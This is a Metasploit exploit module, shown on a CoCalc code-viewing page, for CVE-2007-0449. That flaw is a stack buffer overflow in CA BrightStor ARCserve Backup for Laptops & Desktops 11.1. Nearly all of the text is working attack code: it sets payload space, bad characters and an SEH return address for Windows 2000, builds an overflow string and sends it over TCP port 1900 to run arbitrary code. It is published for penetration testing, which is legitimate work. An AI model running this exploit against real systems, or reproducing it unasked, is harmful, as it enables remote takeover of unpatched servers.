Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/lgserver.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
19
for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
20
overflow the buffer and execute arbitrary code.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2007-0449' ],
26
[ 'OSVDB', '31593' ],
27
[ 'BID', '22342' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
},
33
'Payload' => {
34
'Space' => 600,
35
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
41
],
42
'DisclosureDate' => '2007-01-31',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
Opt::RPORT(1900)
55
]
56
)
57
end
58
59
def exploit
60
connect
61
62
filler = "0000016705" + rand_text_english(2322)
63
seh = generate_seh_payload(target.ret)
64
sploit = filler + seh + "\x58" * 0x4141
65
66
print_status("Trying target #{target.name}...")
67
68
sock.put(sploit)
69
handler
70
disconnect
71
end
72
end
73
74